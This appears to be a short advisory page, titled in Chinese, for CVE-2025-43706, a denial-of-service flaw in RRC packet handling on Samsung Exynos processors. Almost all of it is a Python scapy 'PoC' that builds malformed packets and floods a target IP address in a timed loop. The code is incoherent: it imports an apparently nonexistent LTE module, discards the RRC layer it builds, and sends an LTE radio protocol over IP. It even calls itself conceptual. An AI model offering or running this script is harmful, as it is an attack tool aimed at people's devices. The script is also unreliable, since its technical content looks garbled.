CVE-2025-43706 三星Exynos处理器RRC包处理拒绝服务漏洞

# CVE-2025-43706 PoC - Malformed RRC Packet DoS # This PoC demonstrates sending a malformed RRC message to trigger the vulnerability from scapy.all import * from scapy.layers.lte import * def create_malformed_rrc_packet(): """ Create a malformed RRC packet to trigger L2 layer handling issue """ # Create LTE RRC message with oversized or malformed fields rrc_packet = LTE() / RRC() rrc_packet.rrc_message_type = 0x01 # RRC Connection Request or similar # Add malformed fields that may trigger L2 processing bug # This is a conceptual PoC - actual packet structure depends on target malformed_data = b'\x00' * 1000 # Oversized data to trigger buffer handling # Construct packet with extended header to bypass validation packet = LTE() / Raw(load=malformed_data) return packet def send_dos_packet(target_ip, duration=60): """ Send malformed RRC packets to target device """ print(f"[*] Starting DoS attack on {target_ip}") print(f"[*] Sending malformed RRC packets for {duration} seconds") start_time = time.time() packet_count = 0 while time.time() - start_time < duration: try: # Create and send malformed packet pkt = create_malformed_rrc_packet() send(pkt, verbose=0) packet_count += 1 if packet_count % 100 == 0: print(f"[+] Sent {packet_count} packets") except Exception as e: print(f"[-] Error: {e}") print(f"[*] Attack completed. Total packets sent: {packet_count}") if __name__ == "__main__": # Target configuration target = "192.168.1.100" # Replace with actual target # Execute DoS attack send_dos_packet(target, duration=60) print("[*] PoC execution completed")